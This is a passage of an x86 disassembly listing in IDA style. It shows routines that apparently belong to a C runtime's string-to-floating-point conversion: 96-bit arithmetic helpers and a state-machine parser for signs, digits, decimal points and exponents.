		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_431006
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_43100F


loc_431006:				; CODE XREF: sub_430FE0+1Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_43100F:				; CODE XREF: sub_430FE0+24j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431020	proc near		; CODE XREF: sub_4311A0+77p
					; sub_4311A0+AAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_430FE0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_431077
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_430FE0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_431077
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax


loc_431077:				; CODE XREF: sub_431020+25j
					; sub_431020+46j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_430FE0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4310AC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx


loc_4310AC:				; CODE XREF: sub_431020+7Bj
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		push	edx
		call	sub_430FE0
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_431020	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4310D0	proc near		; CODE XREF: sub_4311A0+5Bp
					; sub_4311A0+67p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shl	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shl	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shl	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_4310D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431130	proc near		; CODE XREF: sub_431E60+382p
					; sub_434060+316p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		and	eax, 80000000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shr	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shr	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_431130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4311A0	proc near		; CODE XREF: sub_4312E0+8A7p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 404Eh
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+arg_8]
		mov	dword ptr [edx+8], 0
		jmp	short loc_4311DD
; ---------------------------------------------------------------------------


loc_4311CB:				; CODE XREF: sub_4311A0+B2j
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_4311DD:				; CODE XREF: sub_4311A0+29j
		cmp	[ebp+arg_4], 0
		jbe	short loc_431257
		mov	edx, [ebp+arg_8]
		mov	eax, [edx]
		mov	[ebp+var_C], eax
		mov	ecx, [edx+4]
		mov	[ebp+var_8], ecx
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_4310D0
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4310D0
		add	esp, 4
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_431020
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4310D0
		add	esp, 4
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_431020
		add	esp, 8
		jmp	loc_4311CB
; ---------------------------------------------------------------------------


loc_431257:				; CODE XREF: sub_4311A0+41j
					; sub_4311A0+101j
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_4312A3
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shr	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		shr	ecx, 10h
		or	edx, ecx
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		shl	edx, 10h
		mov	eax, [ebp+arg_8]
		mov	[eax], edx
		mov	cx, [ebp+var_10]
		sub	cx, 10h
		mov	[ebp+var_10], cx
		jmp	short loc_431257
; ---------------------------------------------------------------------------


loc_4312A3:				; CODE XREF: sub_4311A0+BEj
					; sub_4311A0+12Aj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		and	eax, 8000h
		test	eax, eax
		jnz	short loc_4312CC
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_4310D0
		add	esp, 4
		mov	dx, [ebp+var_10]
		sub	dx, 1
		mov	[ebp+var_10], dx
		jmp	short loc_4312A3
; ---------------------------------------------------------------------------


loc_4312CC:				; CODE XREF: sub_4311A0+110j
		mov	eax, [ebp+arg_8]
		mov	cx, [ebp+var_10]
		mov	[eax+0Ah], cx
		mov	esp, ebp
		pop	ebp
		retn
sub_4311A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4312E0	proc near		; CODE XREF: sub_42DA10+1Ap
					; .nsp0:0042DA6Ap ...

var_B4		= byte ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= byte ptr -8Ch
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5E		= dword	ptr -5Eh
var_5A		= dword	ptr -5Ah
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= word ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_21		= byte ptr -21h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 0B4h
		lea	eax, [ebp+var_38]
		mov	[ebp+var_68], eax
		mov	word ptr [ebp+var_1C], 0
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], 0
		mov	[ebp+var_54], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_18], 0
		mov	[ebp+var_40], 0
		mov	[ebp+var_78], 0
		mov	[ebp+var_14], 0
		mov	[ebp+var_6C], 0
		mov	[ebp+var_44], 0
		mov	[ebp+var_4C], 0
		mov	ecx, [ebp+arg_8]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_64], edx
		jmp	short loc_431359
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_4312E0:loc_431385j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_431359:				; CODE XREF: sub_4312E0+6Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_431385
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jz	short loc_431385
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jz	short loc_431385
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jnz	short loc_431387


loc_431385:				; CODE XREF: sub_4312E0+82j
					; sub_4312E0+8Dj ...
		jmp	short loc_431350
; ---------------------------------------------------------------------------


loc_431387:				; CODE XREF: sub_4312E0+A3j
					; sub_4312E0:loc_431AE3j
		cmp	[ebp+var_4C], 0Ah
		jz	loc_431AE8
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4C]
		mov	[ebp+var_80], eax
		cmp	[ebp+var_80], 0Bh
		ja	loc_431AE3
		mov	ecx, [ebp+var_80]
		jmp	off_431CFA[ecx*4]


loc_4313BC:				; DATA XREF: .nsp0:off_431CFAo
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_4313E0
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_4313E0
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_431455
; ---------------------------------------------------------------------------


loc_4313E0:				; CODE XREF: sub_4312E0+E3j
					; sub_4312E0+ECj
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_4516AC
		cmp	edx, eax
		jnz	short loc_4313F8
		mov	[ebp+var_4C], 5
		jmp	short loc_431455
; ---------------------------------------------------------------------------


loc_4313F8:				; CODE XREF: sub_4312E0+10Dj
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_84], cl
		cmp	[ebp+var_84], 2Bh
		jz	short loc_431427
		cmp	[ebp+var_84], 2Dh
		jz	short loc_431436
		cmp	[ebp+var_84], 30h
		jz	short loc_43141E
		jmp	short loc_431445
; ---------------------------------------------------------------------------


loc_43141E:				; CODE XREF: sub_4312E0+13Aj
		mov	[ebp+var_4C], 1
		jmp	short loc_431455
; ---------------------------------------------------------------------------


loc_431427:				; CODE XREF: sub_4312E0+128j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 0
		jmp	short loc_431455
; ---------------------------------------------------------------------------


loc_431436:				; CODE XREF: sub_4312E0+131j
		mov	[ebp+var_4C], 2
		mov	word ptr [ebp+var_1C], 8000h
		jmp	short loc_431455
; ---------------------------------------------------------------------------


loc_431445:				; CODE XREF: sub_4312E0+13Cj
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_431455:				; CODE XREF: sub_4312E0+FEj
					; sub_4312E0+116j ...
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_43145A:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431CFEo
		mov	[ebp+var_54], 1
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_431488
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_431488
		mov	[ebp+var_4C], 3
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	loc_43150B
; ---------------------------------------------------------------------------


loc_431488:				; CODE XREF: sub_4312E0+188j
					; sub_4312E0+191j
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_4516AC
		cmp	eax, ecx
		jnz	short loc_4314A0
		mov	[ebp+var_4C], 4
		jmp	short loc_43150B
; ---------------------------------------------------------------------------


loc_4314A0:				; CODE XREF: sub_4312E0+1B5j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_88], edx
		mov	eax, [ebp+var_88]
		sub	eax, 2Bh
		mov	[ebp+var_88], eax
		cmp	[ebp+var_88], 3Ah
		ja	short loc_4314FB
		mov	edx, [ebp+var_88]
		xor	ecx, ecx
		mov	cl, byte_431D3A[edx]
		jmp	off_431D2A[ecx*4]


loc_4314D7:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D2Eo
		mov	[ebp+var_4C], 1
		jmp	short loc_43150B
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: sub_4312E0+D5j
					; sub_4312E0+1F0j
					; DATA XREF: ...
		mov	[ebp+var_4C], 6
		jmp	short loc_43150B
; ---------------------------------------------------------------------------


loc_4314E9:				; CODE XREF: sub_4312E0+D5j
					; sub_4312E0+1F0j
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_43150B
; ---------------------------------------------------------------------------


loc_4314FB:				; CODE XREF: sub_4312E0+D5j
					; sub_4312E0+1E0j ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_43150B:				; CODE XREF: sub_4312E0+1A3j
					; sub_4312E0+1BEj ...
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_431510:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D02o
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_431534
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_431534
		mov	[ebp+var_4C], 3
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_431576
; ---------------------------------------------------------------------------


loc_431534:				; CODE XREF: sub_4312E0+237j
					; sub_4312E0+240j
		movsx	edx, byte ptr [ebp+var_3C]
		movsx	eax, byte_4516AC
		cmp	edx, eax
		jnz	short loc_43154C
		mov	[ebp+var_4C], 5
		jmp	short loc_431576
; ---------------------------------------------------------------------------


loc_43154C:				; CODE XREF: sub_4312E0+261j
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_8C], cl
		cmp	[ebp+var_8C], 30h
		jz	short loc_431560
		jmp	short loc_431569
; ---------------------------------------------------------------------------


loc_431560:				; CODE XREF: sub_4312E0+27Cj
		mov	[ebp+var_4C], 1
		jmp	short loc_431576
; ---------------------------------------------------------------------------


loc_431569:				; CODE XREF: sub_4312E0+27Ej
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_431576:				; CODE XREF: sub_4312E0+252j
					; sub_4312E0+26Aj ...
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_43157B:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D06o
		mov	[ebp+var_54], 1
		jmp	short loc_431595
; ---------------------------------------------------------------------------


loc_431584:				; CODE XREF: sub_4312E0:loc_43160Fj
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_431595:				; CODE XREF: sub_4312E0+2A2j
		cmp	dword_4516A8, 1
		jle	short loc_4315B9
		push	4
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		push	eax
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_90], eax
		jmp	short loc_4315D7
; ---------------------------------------------------------------------------


loc_4315B9:				; CODE XREF: sub_4312E0+2BCj
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		mov	edx, off_45149C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_90], eax


loc_4315D7:				; CODE XREF: sub_4312E0+2D7j
		cmp	[ebp+var_90], 0
		jz	short loc_431614
		cmp	[ebp+var_70], 19h
		jnb	short loc_431606
		mov	ecx, [ebp+var_70]
		add	ecx, 1
		mov	[ebp+var_70], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		sub	edx, 30h
		mov	eax, [ebp+var_68]
		mov	[eax], dl
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_43160F
; ---------------------------------------------------------------------------


loc_431606:				; CODE XREF: sub_4312E0+304j
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx


loc_43160F:				; CODE XREF: sub_4312E0+324j
		jmp	loc_431584
; ---------------------------------------------------------------------------


loc_431614:				; CODE XREF: sub_4312E0+2FEj
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_4516AC
		cmp	eax, ecx
		jnz	short loc_43162C
		mov	[ebp+var_4C], 4
		jmp	short loc_43168E
; ---------------------------------------------------------------------------


loc_43162C:				; CODE XREF: sub_4312E0+341j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_94]
		sub	eax, 2Bh
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 3Ah
		ja	short loc_43167E
		mov	edx, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, byte_431D81[edx]
		jmp	off_431D75[ecx*4]


loc_431663:				; DATA XREF: .nsp0:00431D79o
		mov	[ebp+var_4C], 6
		jmp	short loc_43168E
; ---------------------------------------------------------------------------


loc_43166C:				; CODE XREF: sub_4312E0+37Cj
					; DATA XREF: .nsp0:off_431D75o
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_43168E
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: sub_4312E0+36Cj
					; sub_4312E0+37Cj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_43168E:				; CODE XREF: sub_4312E0+34Aj
					; sub_4312E0+38Aj ...
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_431693:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D0Ao
		mov	[ebp+var_54], 1
		mov	[ebp+var_C], 1
		cmp	[ebp+var_70], 0
		jnz	short loc_4316CE
		jmp	short loc_4316BA
; ---------------------------------------------------------------------------


loc_4316A9:				; CODE XREF: sub_4312E0+3ECj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_4316BA:				; CODE XREF: sub_4312E0+3C7j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 30h
		jnz	short loc_4316CE
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316CE:				; CODE XREF: sub_4312E0+3C5j
					; sub_4312E0+3E1j
		jmp	short loc_4316E1
; ---------------------------------------------------------------------------


loc_4316D0:				; CODE XREF: sub_4312E0:loc_431759j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4316E1:				; CODE XREF: sub_4312E0:loc_4316CEj
		cmp	dword_4516A8, 1
		jle	short loc_431706
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_98], eax
		jmp	short loc_431723
; ---------------------------------------------------------------------------


loc_431706:				; CODE XREF: sub_4312E0+408j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_98], ecx


loc_431723:				; CODE XREF: sub_4312E0+424j
		cmp	[ebp+var_98], 0
		jz	short loc_43175E
		cmp	[ebp+var_70], 19h
		jnb	short loc_431759
		mov	edx, [ebp+var_70]
		add	edx, 1
		mov	[ebp+var_70], edx
		movsx	eax, byte ptr [ebp+var_3C]
		sub	eax, 30h
		mov	ecx, [ebp+var_68]
		mov	[ecx], al
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax


loc_431759:				; CODE XREF: sub_4312E0+450j
		jmp	loc_4316D0
; ---------------------------------------------------------------------------


loc_43175E:				; CODE XREF: sub_4312E0+44Aj
		movsx	ecx, byte ptr [ebp+var_3C]
		mov	[ebp+var_9C], ecx
		mov	edx, [ebp+var_9C]
		sub	edx, 2Bh
		mov	[ebp+var_9C], edx
		cmp	[ebp+var_9C], 3Ah
		ja	short loc_4317B0
		mov	ecx, [ebp+var_9C]
		xor	eax, eax
		mov	al, byte_431DC8[ecx]
		jmp	off_431DBC[eax*4]


loc_431795:				; DATA XREF: .nsp0:00431DC0o
		mov	[ebp+var_4C], 6
		jmp	short loc_4317C0
; ---------------------------------------------------------------------------


loc_43179E:				; CODE XREF: sub_4312E0+4AEj
					; DATA XREF: .nsp0:off_431DBCo
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_4317C0
; ---------------------------------------------------------------------------


loc_4317B0:				; CODE XREF: sub_4312E0+49Ej
					; sub_4312E0+4AEj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_4317C0:				; CODE XREF: sub_4312E0+4BCj
					; sub_4312E0+4CEj
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_4317C5:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D0Eo
		mov	[ebp+var_C], 1
		cmp	dword_4516A8, 1
		jle	short loc_4317F1
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_421E50
		add	esp, 8
		mov	[ebp+var_A0], eax
		jmp	short loc_43180E
; ---------------------------------------------------------------------------


loc_4317F1:				; CODE XREF: sub_4312E0+4F3j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_45149C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_A0], ecx


loc_43180E:				; CODE XREF: sub_4312E0+50Fj
		cmp	[ebp+var_A0], 0
		jz	short loc_431829
		mov	[ebp+var_4C], 4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_431836
; ---------------------------------------------------------------------------


loc_431829:				; CODE XREF: sub_4312E0+535j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_431836:				; CODE XREF: sub_4312E0+547j
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_43183B:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D12o
		mov	ecx, [ebp+var_4]
		sub	ecx, 2
		mov	[ebp+var_64], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_431868
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_431868
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_4318BD
; ---------------------------------------------------------------------------


loc_431868:				; CODE XREF: sub_4312E0+56Bj
					; sub_4312E0+574j
		mov	dl, byte ptr [ebp+var_3C]
		mov	[ebp+var_A4], dl
		cmp	[ebp+var_A4], 2Bh
		jz	short loc_4318A7
		cmp	[ebp+var_A4], 2Dh
		jz	short loc_431897
		cmp	[ebp+var_A4], 30h
		jz	short loc_43188E
		jmp	short loc_4318B0
; ---------------------------------------------------------------------------


loc_43188E:				; CODE XREF: sub_4312E0+5AAj
		mov	[ebp+var_4C], 8
		jmp	short loc_4318BD
; ---------------------------------------------------------------------------


loc_431897:				; CODE XREF: sub_4312E0+5A1j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_4318BD
; ---------------------------------------------------------------------------


loc_4318A7:				; CODE XREF: sub_4312E0+598j
		mov	[ebp+var_4C], 7
		jmp	short loc_4318BD
; ---------------------------------------------------------------------------


loc_4318B0:				; CODE XREF: sub_4312E0+5ACj
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_4318BD:				; CODE XREF: sub_4312E0+586j
					; sub_4312E0+5B5j ...
		jmp	loc_431AE3
; ---------------------------------------------------------------------------


loc_4318C2:				; CODE XREF: sub_4312E0+D5j
					; DATA XREF: .nsp0:00431D1Ao
		mov	[ebp+var_18], 1
		jmp	short loc_4318DC
; ---------------------------------------------------------------------------


loc_4318CB:				; CODE XREF: sub_4312E0+605j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4318DC:				; CODE XREF: sub_4312E0+5E9j
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 30h
		jnz	short loc_4318E7
		jmp	short loc_4318CB
; ---------------------------------------------------------------------------


loc_4318E7:				; CODE XREF: sub_4312E0+603j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_43190B
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_43190B
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_43191B
; ---------------------------------------------------------------------------


loc_43190B:				; CODE XREF: sub_4312E0+60Ej
					; sub_4312E0+617j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_43191B:				; CODE XREF: sub_4312E0+629j
		jmp	loc_431AE3
